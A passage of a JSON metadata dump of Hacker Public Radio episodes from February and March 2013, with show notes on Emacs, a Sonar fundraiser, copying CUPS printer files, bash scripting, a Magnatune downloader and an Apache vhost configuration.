      ","hostid":205,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"technical predictions 2013","version":0,"downloads":1925,"valid":1}, {"id":1186,"date":"2013-02-18","title":"A plea and a Follow up","duration":987,"summary":"A plea to donate to the Sonar project and a follow-up to show 1184","notes":"

      61 hours to go 33% there - donate to https://www.indiegogo.com/sonar the spread the word.

      \n

      \nIn today's show, we hear a plea from David Whitman about why you should join us all and donate to the sonar project.
      \nThen pokey lets us in on what he did wrong when installing sonar\n

      \n","hostid":109,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"donation,Sonar Linux,screen reader,Orca","version":0,"downloads":1617,"valid":1}, {"id":1187,"date":"2013-02-19","title":"I live in GNU/Emacs","duration":689,"summary":"A journey through the many capabilities of GNU/Emacs","notes":"\n\n
      \nI live in GNU/Emacs\n===================\n\n1 Emacs on HPR \n===============\nKlaatu's 3 part series\n- ep0852\n- ep0856\n- ep0861\n\n2 EmacsWiki \n============\n- Ultimate source of information for GNU/Emacs\n- [https://emacswiki.org/]\n\n3 Appearance \n=============\n- no menus nor scroll bars\n- black background on a tiling window, full screen (no decorations)\n  - people often think that I am on the console (no X)\n\n4 Daemon \n=========\n- [https://www.emacswiki.org/emacs/EmacsAsDaemon]\n- so that clients can connect (org protocol)\n- use the same emacs from the consoles\n  - if x crashes, for instance\n\n5 Editing code \n===============\n- c++\n- with repls\n  - lisp/scheme/clojure/elisp (slime and geiser)\n  - python\n  - octave\n- compilation\n- latex\n\n6 Org \n======\n- [https://orgmode.org/]\n- Note taking\n- GTD, agenda, spreadsheet\n- Reports, papers, slides, blog\n- export to mobile org\n\n7 Gnus \n=======\n- [https://www.emacswiki.org/emacs/GnusTutorial]\n- Mails\n- RSS and mailing lists via gwene\n- store links into and open from org-mode\n\n8 w3m \n======\n- [https://www.emacswiki.org/emacs/emacs-w3m]\n- search and more and more navigation\n\n9 Conkeror (in/out) \n====================\n- [https://conkeror.org/]\n- only when javascript is required\n- org protocol for vzpturing links\n- org open link to open pages\n\n10 ERC for IRC \n===============\n- [https://www.emacswiki.org/emacs/ERC]\n\n11 Small utilities \n===================\n- Info reader\n  - [https://emacswiki.org/emacs/InfoMode]\n- Calendar\n  - [https://emacswiki.org/emacs/CalendarMode]\n- Scratch buffer as calculator\n  - Evaluating expressions\n  - [https://emacswiki.org/emacs/EvaluatingExpressions]\n- Dired\n  - [https://emacswiki.org/emacs/DiredMode]\n- Docview\n  - [https://www.emacswiki.org/emacs/DocViewMode]\n- Version control\n  - [https://emacswiki.org/emacs/VersionControl]\n
      ","hostid":197,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"GNU/Emacs,orgmode,Gnus,w3m,Conkeror ","version":0,"downloads":2014,"valid":1}, {"id":1188,"date":"2013-02-20","title":"Rmail in Emacs","duration":2632,"summary":"Rmail in Emacs, msmtp, procmail, tmail, and fetchmail","notes":"

      \n11 hours to go. 235 funders Contributed $8,633 USD of $20,000 43%
      \nDonate here https://www.indiegogo.com/projects/sonar-project\n

      \n

      \nKlaatu sneaks in an addendum to his Emacs mini-series on howto use\nRmail in Emacs. Bonus topics include how to configure fancy Unix mail\ntools like msmtp, procmail, tmail, and fetchmail.\n

      ","hostid":78,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Rmail,Emacs,msmtp,procmail,tmail,fetchmail","version":0,"downloads":1881,"valid":1}, {"id":1189,"date":"2013-02-21","title":"Part One: Counting Partridges and Gold Rings","duration":1877,"summary":"Intro to Recreational Math Part One","notes":"

      Edited version - re sent

      \n

      \nThe Sonar Project has $9,838 raised with 256 people contributing. A big thanks to all the !HPR Listeners who helped out.
      \nIt's not too late to contribute to the ACF. See https://accessiblecomputingfoundation.org/ for more information.\n

      \n

      \nTomorrow The Eleventh Annual Southern California Linux Expo starts. Running from February 22 to the 24, 2013 in the Hilton Los Angeles International Airport. Speakers include Kyle Rankin, Joe Brockmeier and Matthew Garrett.
      \nSee https://www.socallinuxexpo.org/scale11x for more information.\n

      \n

      \nThe N Days of Christmas? Intro to Recreational Math\nPart One: Counting Partridges and Gold Rings\n

      \n\n

      \nThe complete shownotes can be found here:\n

      \n\n\n\n

      \nPascal's Triangle:\n

      \n\n\n\n

      \nBackground on Pascal's Triangle and the Binomial Theorem, see the excellent videos by Sal Khan at https://KhanAcademy.org\n

      \n

      \nContact: Charles in NJ\nEmail: catintp@yahoo.com\n

      \n

      \nCharlie + Alpha + Tango + India + November + Tango + Papa.\n

      \n","hostid":229,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"mathematics,math,Pascal's Triangle,Binomial Theorem","version":1,"downloads":1485,"valid":1}, {"id":1190,"date":"2013-02-22","title":"LibreOffice 03 Writer Introduction to Styles","duration":1300,"summary":"Using styles to control the appearance of documents in LibreOffice Writer","notes":"

      Some useful sites

      \n\n

      My web site is at https://www.ahuka.com/.

      \n

      Remember to support free software!

      \n","hostid":198,"series":70,"explicit":1,"license":"CC-BY-SA","tags":"LibreOffice, Writer","version":0,"downloads":1994,"valid":1}, {"id":1191,"date":"2013-02-25","title":"Arch Linux","duration":2488,"summary":"Experiences of running Arch and thoughts of other distributions","notes":"In this episode Dudeman explains to us his experience of running arch linux the last few weeks. The discussion sidetracks a bit towards the difference between rolling releases versus versioned releases and Source vs Binary distributions where Arch and Gentoo play the part of the rolling/source based distros.","hostid":230,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Linux,Arch,Gentoo ","version":0,"downloads":1862,"valid":1}, {"id":1192,"date":"2013-02-26","title":"LiTS 024: time and /usr/bin/time","duration":987,"summary":"Run programs and summarize system resource usage with the time command","notes":"

      The time program is a handy tool to not only gauge how much time in seconds it takes a program to run, but will also display how much user CPU time and system CPU time was used to execute the process. To understand these values you must grasp how the kernel handles the time reporting for the process. For example, the output of:

      \n

      time ls

      \n

      is

      \n

      real 0m0.007s
      \nuser 0m0.000s
      \nsys 0m0.003s\n
      \n

      \n

      \nFor the complete show including video and a complete write up go to https://www.linuxintheshell.com/2013/02/26/episode-024-time-and-usrbintime/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"time","version":0,"downloads":2494,"valid":1}, {"id":1193,"date":"2013-02-27","title":"Chris Conder Catchup on Broadband for Rural North","duration":3122,"summary":"Broadband for the Rural North (B4RN) revisited","notes":"

      \n#da12bb #HPR
      \nIn todays show Ken catches up with Chris Conder of the Broadband for Rural North (https://b4rn.org.uk/). We interviewed her back in episode 980 (https://hackerpublicradio.org/eps.php?id=0980)
      \n\"A\n

      \n

      \nLocated in the very pretty but the rural Forest of Bowland in Lancashire in the UK, and tired of putting up with slow \"broadband\" they decided to put together their own network. They tried shared wifi, 3 and 4G mobile networks, MMDS and Satellite yet all proved to be unreliable.\n

      \n

      \nSo over tea and cake they came up with a plan.

      \n
        \n
      • A 240 Kilometer (150 mile) plan.
      • \n
      • A 1 gigabit (1000mb/sec) fiber optic connection plan.
      • \n
      • A let's give a connection to every one of the 1700 homes, farms, schools, churches and businesses, in the area plan
      • \n
      \n

      And while they were at it they designed it to be:

      \n
        \n
      • redundant with a dual homed backbone direct to the UK's Internet exchange
      • \n
      • upgradeable with ducts large enough to take multiple fibers
      • \n
      • laid through some of the most rugged, mountainous area of Lancashire to get to the people that need it most. (And let's be clear here, nothing to do with the fact that they will need to use dynamite to blast their way through the rocks.)
      • \n
      \n

      \nHave a look at the recent videos here https://b4rn.org.uk/about-b4rn/jfdi\n

      \n","hostid":30,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"networking,broadband,fibre optic,Lancashire,B4RN","version":0,"downloads":1821,"valid":1}, {"id":1194,"date":"2013-02-28","title":"Copying a Printer Definition File Between Systems","duration":1135,"summary":"Copying a Postscript Printer Definition (PPD) file between systems for use with CUPS","notes":"

      \n
      \nI recently learned where Linux stores the PPD created when you set up a\nprinter and how to copy it between PCs.  I'd like to briefly share\nthat information with you.
      \n
      \n\n\nThis is how to copy a printer definition file (equivalent of a printer\ndriver) from a system where the printer is already configured to\nanother system that you want to be able to access the same\nprinter.  Reasons you might need to do this:
      \n
      \na.  The normal CUPS (Common Unified Printing System) set up\ndoesn't have the right definition file for your printer.  In rare\ninstances, you might have to download a ppd from the manufacturer or\nanother source.  If so, copying the ppd may be easier than\ndownloading it again.
      \n
      b.  You configure CUPS and find there are no pre-provided\nprinter\ndrivers.  I thought this was the case when I first tried to\nconfigure CUPS under Linaro on my ODroidX.   For all intents and\npurposes, Linaro is an Arm port of mainline Ubuntu (Unity\nincluded).  I installed CUPS via Aptitude and tried to configure a\nprinter as I would on any Linux system.  When I got to printer\nselection, the dropdown to select a\nmanufacturer (the next step would be to choose a model) was greyed out,\nas was the field to enter a path to a ppd file.  I closed the\nbrowser and tried again, and the same thing happened.  This is\nwhat prompted me to find out where to find a PPD file on another system\nand copy it.  I never got to see how it would work, because when I\nhad the ppd file copied over and ready to install, the\nmanufactures and models in CUPS were already populated.  There had\nbee an update between my first and second attempts to configure CUPS on\nthe ODroidX, but I'd rather say it was a glitch the first time, instead\nof the ppd's suddenly showing up in the repo.
      \n
      \nc.  When I installed Arch on another system, I found there was far\nless options for choosing models, in my instance, there was only one\nselection for HP Deskjets.  I suspect borrowing the model specific\nppd from another distro will increase the functionality of the printer.
      \n
      \nCopying the ppd
      \n
      \n1.  On the computer where the printer is already configured, find\nthe .ppd (Postscript Printer Definition) file you generated (filename\nwill be the same as the printer name) in /etc/cups/ppd/model (or\npossibly just /etc/cups/ppd, neither my ODroidX or my Fedora laptop\nhave the \"model\" folder).
      \n2. Copy to your home folder on the new system (You can't place the file\nin it's final destination yet, unless you are remoted in as root)
      \n3. According to the post I found on LinuxQuestions.org, CUPS looks for\na GZipped file [ gzip -c myprinter.ppd > myprinter.ppd.gz ; the '-c'\narguement creates a new file, rather than gzipping the old one, and you\nuse redirection to generate the new file.]  Recall that I never\ngot to try this, because when I re-ran CUPS, the printer selections\nwere already populated. 
      \n4. Copy the archived file to /etc/cups/ppd/model on the machine that needs the printer driver
      \n
      \nConfigure CUPS (IP Printer)
      \n1. Open localhost:631 in a browser
      \n2. Click Administration tab
      \n3. Click \"Add a Printer\" button
      \n4. Log in as an account with root priviledges
      \n5. For Ethernet printers, select \"AppSocket/HP JetDirect\" button and click \"Continue\"
      \n6. From the examples presented, \" socket://PRINT_SERVER_IP_ADDRESS:9100  \" works for me, click continue
      \n7. On the next page, fill in a printer name, this will be the file name\nfor the PPD generated as well as how the printer is labled in the\nprinter select dialog.  The other fields are optional.  Click\ncontinue.
      \n8. (I am assuming if the LinuxQuestions post was right, CUPS will find\nthe gz file and show the manuafacturer and model as options) From the\nlist, select a manufacturer, or input the path to your PPD file
      \n9. Select the printer model
      \n9a.I think you could copy over the ppd as is and type the path to it in the field where it asks for a ppd file. 
      \n10.Modify or accept the default printer settings
      \n
      \nOr just copy the ppd and compare the settings in /etc/cups/printers.conf
      \n
      \n

      \n","hostid":131,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"CUPS,PPD,Postscript Printer Definition ","version":0,"downloads":1714,"valid":1}, {"id":1195,"date":"2013-03-01","title":"Distractionless Writing","duration":1251,"summary":"Writing with no distractions using FocusWriter and PyRoom","notes":"

      ThistleWeb explains the advantages of a distractionless writing environment for fiction writers or aspiring fiction writers. A physical space of sanctuary is only the first part of the concept, but that's undone if your screen around your text is full of distractions. A distractionless writing application covers the entire screen, separating you from updates, notifications and editing options. ThistleWeb's distractionless environment of choice is Focuswriter, although there's quite a few to choose from.

      \n\n","hostid":106,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"FocusWriter,PyRoom ","version":0,"downloads":1942,"valid":1}, {"id":1196,"date":"2013-03-04","title":"HPR Community News Feb 2013","duration":7109,"summary":"HPR Community News Feb 2013","notes":"

      New hosts

      \n

      There were no new hosts this month.\n

      \n\n

      Show Review

      \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n\n\n\n \n\n
      id\ntitle\nhost\n
      1176Intro to editing the Open Street Map pokey
      1177HPR Community News Dec12/Jan13HPR Admins
      1178Interviews with Laura Creighton and Armin RigoSeetee
      1179Interview with Mark A Davis of TWUUGFrank Bell
      1180TGTM Newscast for 2/6/2013Tgtm News Team
      1181Mumble Audio IssuesDelwin
      1182LiTS 023: DateDann
      1183Boise Lug meeting Feb 7 2013Quvmoh
      1184Installing Linux without a monitorVarious Hosts
      1185Shooting the BreezeJezra and NYbill
      1186A plea and a Follow upVarious Hosts
      1187I live in GNU/Emacsgarjola
      1188Rmail in Emacsklaatu
      1189Part One: Counting Partridges and Gold RingsCharles in NJ
      119003 LibreOffice Writer Introduction to StylesAhuka
      1191Arch LinuxDude-man
      1192LiTS 024: time and /usr/bin/timeDann
      1193Chris Conder Catchup on Broadband for Rural NorthKen Fallon
      1194Copying a Printer Definition File Between SystemsFiftyOneFifty
      1195Distractionless WritingThistleweb
      \n\n

      Apologies

      \n

      \nJohn Spriggs for not setting up the account
      \nApologies to Mark A Davis and Frank Bell for not posting their show on time
      \nNYBILL and Charles in NJ for reposting their show
      \nFor not setting up the NSFW flags as yet
      \n

      \n

      Thanks

      \n

      \nDave Morriss for all the QA
      \nNeil Wallace AKA rowinggolfer for the heads up about the links
      \nBill for the offer of $2500
      \nTo whoever signed hpr up for a regular dental check
      \n

      \n\n

      Other News

      \n\n\n\n

      Events

      \n\n\n

      Sonar Fundraiser

      \n

      \nThe Sonar Project has $9,838 raised with 256 people contributing. A big thanks to all the !HPR Listeners who helped out.\nIt's not too late to contribute to the ACF. See https://accessiblecomputingfoundation.org/ for more information.\n

      \n\n

      We need shows

      \n

      \nWe only have shows from 4 hosts, and we still have 195 slots to fill this year so please consider contributing a show. https://hackerpublicradio.org/calendar.php\n

      \n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":1758,"valid":1}, {"id":1197,"date":"2013-03-05","title":"What I do with bash scripts","duration":1638,"summary":"Some personal anecdotes on writing Bash scripts","notes":"

      In this episode I talk about the way I use shell scripting on a\nday-to-day basis. I am not employed in a technical field, so the\nfact that I use shell scripts at all surprises most people. I am\njust a music history professor with an enthusiasm for Linux and\nfree software. Although I have dabbled a bit with Python, I don't\nfeel nearly as comfortable with Python as I do with bash, so all\nof the scripts I mention in this episode are written for bash.

      \n\n

      Here are links to blog posts about some of the scripts mentioned\nin the show.

      \n\n

      markdown2latex: https://jonathankulp.org/archives/570

      \n\n

      Cowsay stuff: https://jonathankulp.org/archives/346

      \n\n

      \"stick\" scp script: https://jonathankulp.org/archives/441

      \n\n

      MyIP: https://jonathankulp.org/archives/620

      \n","hostid":238,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,scripting ","version":0,"downloads":2053,"valid":1}, {"id":1198,"date":"2013-03-06","title":"THEATER OF THE IMAGINATION: 05","duration":1713,"summary":"Using external USB audio equipment; some old-time radio recommendations","notes":"

      \nLINKS\n

      \n\n\n\n

      \nMUSIC\n

      \n\n\n","hostid":107,"series":52,"explicit":1,"license":"CC-BY-SA","tags":"USB,audio,old time radio ","version":0,"downloads":1881,"valid":1}, {"id":1199,"date":"2013-03-07","title":"Old Time Radio on the web","duration":1795,"summary":"Radio shows from the early days of radio broadcasting","notes":"

      \nFrank Bell talks about Old Time Radio (OTR), his history as a radio listener, and his Old Time Radio websites.\n

      \n

      \nThe OTR Fans site defines OTR as \"Old time radio often called \"OTR\" refers to radio shows from the early days of radio broadcasting. The term usually applies to dramas, comedies, mystery shows, westerns and variety shows that were acted out by professional actors and sent out over the airwaves. In the golden age of radio families would sit around their radio listening to the exciting shows the way we sit around our television sets watching them today.\"\n
      \nOTR copyright information: https://www.radiolovers.com/copyrights.html\n

      \n

      \nOld Time Radio streaming and download sites mentioned in the show:\n

      \n\n

      \nStreamable shows mentioned in the podcast. Note that many of the OTR shows and episodes can be found at multiple sites and that some sites may have a larger number than and different episodes from other sites. I have restricted these links to ones I know will be playable in Linux (in other words, no links to real media format).\n

      \n\n

      \nRadio personalities mentioned in the show:\n

      \n\n","hostid":195,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"radio,old time radio,broadcasting ","version":0,"downloads":2236,"valid":1}, {"id":1200,"date":"2013-03-08","title":"CJE Computer Jargon Explained 01","duration":556,"summary":"Explaining computing and internet terms that confuse and frustrate people","notes":"

      \nI had an idea for a website that aims to explain as clearly as possible, computing and internet terms that confuse and frustrate people.\n

      \n

      \nIt came about when a Motorsport Forum Website I work with changed their IP address and some DNS issues caused problems. In the discussion amongst the staff of the site, as soon as the technically minded staff talked about DNS and IPs and Caches, some of the staff who aren't as familiar with the terms either dropped out or even got angry because they felt they were being excluded.\n

      \n

      \nThat highlighted to me the need for a resource where these terms could be explained in a way that demystifies the jargon for the every man. I am thinking it could be massively useful to have a site where we can use short video files to quickly and effectively explain the who,why,where,when and what of computerspeak, that would otherwise baffle and deter friends, family and colleagues.\n

      \n

      \nThis idea is little more than a concept at this time. As I make progress towards getting CJA working, I shall post updates on https://amunro.net\n

      \n

      \nIf you have any comments, suggestions for topics to explain, or if you want to contribute to the site. Please email me or get in touch through amunro.net.\n

      ","hostid":239,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"\"technical explanation\",website","version":0,"downloads":1945,"valid":1}, {"id":1201,"date":"2013-03-11","title":"In My Feed - Episode 01","duration":829,"summary":"Podcast and other recommendations","notes":"
      \nMy first show \"In My Feed\", a title inspired by the HPR Contribute page's list of requested topics. \n
      \nWeb Comics
      \n\n
      \n\n
      \nGNU Command of the Week! is ... 'scp'
      \nGo to $ man scp ;-)
      \n","hostid":240,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"recommendations,\"web comics\",podcasts","version":0,"downloads":1768,"valid":1}, {"id":1202,"date":"2013-03-12","title":"LiTS 025: bc","duration":1229,"summary":"An arbitrary precision calculator language: bc","notes":"

      Math from the Linux command line is one of those tasks that is not as straight forward as you may think. There are many tools that will allow you to perform mathematical functions accessible to you, but to perform simple arithmetic is not as simple as just entering some equation. You can use the echo command to perform basic mathematical problems but it does not allow for decimals making division in particular problematic. \n

      \n

      \nFor more on this post and to see the video please see the main article https://www.linuxintheshell.com/2013/03/12/episode-025-bc/\n

      \n","hostid":7,"series":67,"explicit":1,"license":"CC-BY-SA","tags":"bc,calculator","version":0,"downloads":2379,"valid":1}, {"id":1203,"date":"2013-03-13","title":"templer: a static html generator","duration":535,"summary":"An introduction to Steve Kemp's static site generator, written in Perl","notes":"

      \nIn today's show Chess talks to us about a static html generator written in perl called templer\n

      \n\n

      Templer

      \n\n

      Templer is yet another static site generator, written in Perl.

      \n\n

      It makes use of the HTML::Template module for performing variable expansion within pages and layouts, along with looping and conditional-statement handling.

      \n\n

      Templer has evolved over time for my own personal use, but I believe\nit is sufficiently generic it could be useful to others.

      \n\n

      My motivation for putting it together came from the desire to change\nseveral hand-made, HTML-coded, sites to something more maintainable such\nthat I could easily change the layout in one place.

      \n\n

      The design evolved over time but the key reason for keeping it around\nis that it differs from many other simple static-generators in several\nways:

      \n\n
        \n
      • You may define global variables for use in your pages/layouts.
      • \n
      • A page may define and use page-specific variables.
      • \n
      • You may change the layout on a per-page basis if you so wish.\n\n
          \n
        • This was something that is missing from a lot of competing tools.
        • \n
        \n
      • \n
      • Conditional variable expansion is supported, via HTML::Template.
      • \n
      • File contents, shell commands, and file-globs may be used in the templates\n\n
          \n
        • This allows the trivial creation of galleries, for example.
        • \n
        • These are implemented via plugins.
        • \n
        \n
      • \n
      • You may also embed perl code in your pages.
      • \n

      Another key point is that the layouts allow for more than a single\nsimple \"content\" block to be placed into them - you can add arbitrary\nnumbers of optional side-menus, for example.

      \n\n

      Although this tool was written and used with the intent you'd write your\nsite-content in HTML you can write your input pages in Textile or Markdown\nif you prefer (these inputs are supported via plugins).

      ","hostid":76,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"templer,\"static site\",perl,HTML::Template,Textile,Markdown","version":0,"downloads":1894,"valid":1}, {"id":1204,"date":"2013-03-14","title":"My Magnatune Downloader","duration":1319,"summary":"How I download albums from Magnatune with Bash and Perl scripts","notes":"

      The Problem

      \n\n

      \nI'm a fan of Magnatune (https://magnatune.com/) and have been buying music\nfrom them for 7 or 8 years. The Magnatune website itself is good for exploring\nand downloading, and interfaces for browsing and purchasing are available in\na number of players on Linux. I have direct experience of:\n

      \n\n
        \n
      • Amarok: allows you to browse, purchase, examine artist information and album\n details.\n
      • Rhythmbox: the plugin, which used to allow browsing and purchasing, is\n currently unavailable, but is apparently due to return soon.\n
      • Gnome Music Player Client: (a front-end to the Music Player Daemon, mpd)\n offers a Magnatune browser plugin\n
      • Magnatune Web 2.0 player: a web-based tool which will browse, play and\n download Magnatune music.\n
      • Magnatune Android player: a fairly basic browser and player for Android 2.0\n and up.\n
      \n\n

      \nThe Magnatune Web 2.0 player is the best of the bunch as far as I am\nconcerned, particularly since it allows me to explore the music collection\nwhilst listening to streamed music at the same time. However, none of these\ninterfaces provide me with exactly what I want in terms of the download\nprocess, so I decided to write my own.\n

      \n\n

      The Plan

      \n\n

      \nI currently host my music on my HP Proliant microserver, share it across the\nhome network, and play it with the Music Player Daemon\n(https://sourceforge.net/projects/musicpd/) on my desktop system. I normally\nkeep the album cover image, artwork and related material in the same directory\nas the album itself, and I want to be able to save all files in their\nappropriate places automatically.\n

      \n

      \nMagnatune provides an API which is documented at\nhttps://download.magnatune.com/info/api, though this information is only available\nto members. Data is available in several formats: XML, SQlite and MySQL.\n

      \n\n

      Design

      \n\n

      \nI didn't want to launch into building a full-blown application, especially\nsince I only needed a downloader, so I decided to create a collection of\nBash and Perl scripts.\n

      \n

      \nI decided to use the XML data organised by album. This is updated on about\na weekly or two weekly basis, and there is a signalling mechanism through\na downloadable file containing a checksum. When this changes the large data\nfile has changed and can be downloaded. At the time of writing I simply run\nthis by hand when I receive an email alert from Magnatune.\n

      \n

      \nMagnatune uses an unique key made from the artist and album names which it\nrefers to as the SKU (Stock Keeping Unit) or albumsku. They use this\nas an URL component and in XML tags. I use it to identify the stuff I download\nand to keep a simple inventory.\n

      \n

      \nI decided to write some basic scripts:\n

      \n\n
        \n
      • To download the catalogue\n
      • To extract information from the catalogue\n
      • To download an album\n
      • To unpack the downloaded items into the target directory\n
      \n\n

      \nI wanted to learn more about manipulating XML data, so I decided to use\nXSL, the Extensible Stylesheet Language. This lets you define\nstylsheets for XML data, including ways of identifying XML components with\nXPath and of transforming XML with XSLT.\n

      \n

      \nI have included a number of links to the resources I used in the shownotes.\n

      \n\n

      Repository

      \n\n

      \nI have placed all of the scripts, their associated files, and HTML and PDF\nREADME files (extended shownotes) in a GitLab repository. This can be\nbrowsed at https://gitlab.com/davmo/magnatune-downloader\nor, if a copy is required it can be obtained with the command:\n

      \n\n
      \n  git clone https://gitlab.com/davmo/magnatune-downloader.git\n
      \n\n

      \nThis makes a local git repository containing a copy of all of the files in\nthe current directory.\n

      \n\n

      Note: The code was originally hosted on Gitorious\n(https://gitorious.org/magnatune-downloader), but with the demise of this\nservice it was moved to GitHub and the details above updated. Then since the\nMicrosoft takeover of GitHub, it has been moved to GitLab and the details\nupdated as needed.

      \n\n

      Scripts

      \n\n
        \n
      • update_albums: a Bash script to download a new version of the album\n catalogue, as a bzipped XML file, if it is different from the current\n version. It generates a summary of the catalogue for simple searching using\n XSLT.\n
      • report_albumsku: a Bash script to take a SKU code and look up the\n album details in the XML file.\n
      • get_album: a Bash script to download an album, cover images and artwork.\n It takes the SKU as an argument and uses it to make an URL for an XML\n file which points at all of the components, and this is downloaded (with\n authentication). The script then parses this file to get the necessary URLs\n for downloading. I only use the OGG format but it could easily collect any\n or all formats available from Magnatune. The script records the fact that\n this particular SKU code has been downloaded so that it isn't\n collected again in error. All downloaded files are given names beginning\n with the SKU code and are stored for the installation phase.\n
      • install_download: a Perl script which unpacks the downloaded zip file to\n its final destination then adds the cover images and artwork to the same\n place. I used Perl because it allowed me to query the zip file to determine\n the name of the directory that was going to be created.\n
      \n\n

      Further Developments

      \n\n

      \nI have added further scripts to this system since I created it. I have one that\nsynchronises the music files from my workstation to the server, and two that\ngive me a simple wish-list or queue functionality.\n

      \n

      \nSince I have a 200GB download limit per month on my broadband contract I try\nnot to download music too often and avoid contention with the rest of the\nfamily. My queueing system is used to keep a list of stuff I'd like to buy\nfrom Magnatune, and I simply feed the top element from the queue into my\ndownload script every week or so.\n

      \n

      \nIn the future I expect to be refining all of these scripts and making them\nless vulnerable to errors. For example, I have found a few cases where\nMagnatune's XML is not valid and this causes the xsltproc tool to fail.\nI'd like to be able to recover from such errors more elegantly than I'm doing\nnow.\n

      \n

      \nAt some point I may well be tempted to consolidate all of the current\nfunctions into a single Perl script.\n

      \n\n

      Disclaimer

      \n\n

      \nI have no connections to Magnatune other than being a contented customer.\n

      \n\n

      Links

      \n\n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Magnatune,API,Bash,XML,XSLT,xsltproc","version":0,"downloads":1733,"valid":1}, {"id":1205,"date":"2013-03-15","title":"TGTM Newscast for 3/10/2013","duration":1154,"summary":"A newscast from Talk Geek to Me","notes":"

      Here is a news review:

      \n
        \n
      • Kerry:\nU.S. Involved in Talks on Arming Rebels\n
      • \n
      • Hugo\nChavez, popular Venezuelan president, dies\n
      • \n
      • Bradley\nManning Nominated For Nobel Peace Prize As People Begin Realizing How\nDamaging His Case Is To A Free Press\n
      • \n
      • Austerity\ncuts aren’t working, except for America’s top 1%\n
      • \n
      • No\nFriend of Ours\n
      • \n
      • U.S.\nGovernment Wins Appeal in Kim Dotcom Extradition Battle\n
      • \n
      • The\nPirate Bay ‘Moves’ to North Korea \n
      • \n
      • Next\nUp for Big Brother: Recording and Transcribing Public Conversations\n
      • \n
      • White\nHouse Supports Unlocking Phones -- But the Real Problem Runs Deeper\n
      • \n
      • Firefox's\nnew, smarter cookie policy is a privacy win for users\n
      • \n
      \n

      Other Headlines:

      \n\n

      Staffed and produced by the TGTM news team, Editorial Selection by\nDeepGeek, views of the story\nauthors reflect their own opinions and not neccesarily those of TGTM\nnews.\n

      \n

      News from \"techdirt.com,\" \"thestand.org,\"\n\"maggiemcneill.wordpress.com,\"\nand\n\"allgov.com\" used\nunder arranged\npermission.

      \n

      News\nfrom \"eff.org,\" and \"torrentfreak.com\" used\nunder\npermission of the Creative Commons\nby-attribution license.

      \n

      News from \"democracynow.org,\" and\n\"peoplesworld.org\" used under permission of the Creative Commons\nby-attribution non-commercial no-derivatives license.
      \n

      \n

      News Sources retain their respective copyrights.

      \n\n

      Links

      \n","hostid":237,"series":65,"explicit":1,"license":"CC-BY-SA","tags":"newscast,TGTM","version":0,"downloads":1901,"valid":1}, {"id":1206,"date":"2013-03-18","title":"Resolving Issues (The Vhost Config File)","duration":3796,"summary":"Windigo helps NYbill set up multiple servers on his VPS by explaining the vhost configuration file","notes":"

      \nWindigo helps NYbill as he trys to set up mutiple servers on his VPS by explaining the\nstucture of the vhost file.\n

      \n
      \nNameVirtualHost *:80\n\n#this first virtualhost enables: https://127.0.0.1, or: https://localhost, \n#to still go to /srv/http/*index.html(otherwise it will 404_error).\n#the reason for this: once you tell httpd.conf to include extra/httpd-vhosts.conf, \n#ALL vhosts are handled in httpd-vhosts.conf(including the default one),\n# E.G. the default virtualhost in httpd.conf is not used and must be included here, \n#otherwise, only domainname1.dom & domainname2.dom will be accessible\n#from your web browser and NOT https://127.0.0.1, or: https://localhost, etc.\n#\n\n<VirtualHost *:80>\n    DocumentRoot \"/srv/http\"\n    ServerAdmin root@localhost\n    ErrorLog \"/var/log/httpd/127.0.0.1-error_log\"\n    CustomLog \"/var/log/httpd/127.0.0.1-access_log\" common\n    <Directory /srv/http/>\n      DirectoryIndex index.htm index.html\n      AddHandler cgi-script .cgi .pl\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\n      AllowOverride None\n      Order allow,deny\n      Allow from all\n    </Directory>\n</VirtualHost>\n\n<VirtualHost *:80>\n    ServerAdmin your@domainname1.dom\n    DocumentRoot \"/home/username/yoursites/domainname1.dom/www\"\n    ServerName domainname1.dom\n    ServerAlias domainname1.dom\n    <Directory /home/username/yoursites/domainname1.dom/www/>\n      DirectoryIndex index.htm index.html\n      AddHandler cgi-script .cgi .pl\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\n      AllowOverride None\n      Order allow,deny\n      Allow from all\n</Directory>\n</VirtualHost>\n\n<VirtualHost *:80>\n    ServerAdmin your@domainname2.dom\n    DocumentRoot \"/home/username/yoursites/domainname2.dom/www\"\n    ServerName domainname2.dom\n    ServerAlias domainname2.dom\n    <Directory /home/username/yoursites/domainname2.dom/www/>\n      DirectoryIndex index.htm index.html\n      AddHandler cgi-script .cgi .pl\n      Options ExecCGI Indexes FollowSymLinks MultiViews +Includes\n      AllowOverride None\n      Order allow,deny\n      Allow from all\n</Directory>\n</VirtualHost>\n
      \n","hostid":196,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"apache,web server,server,hosting,mediagoblin,vhosts","version":0,"downloads":1986,"valid":1}, {"id":1207,"date":"2013-03-19","title":"Icecast 101","duration":2233,"summary":"How to run Icecast - part 1","notes":"

      \nKlaatu talks about how to set up Icecast, new Ices, old Ices, and a\nnice little (simple) HTML5 player. This is part one of a\ntwo-part series.\n

      \n

      \nHere are the raw commands for Icecast, Ices, and Ices-cc:\n

      \n
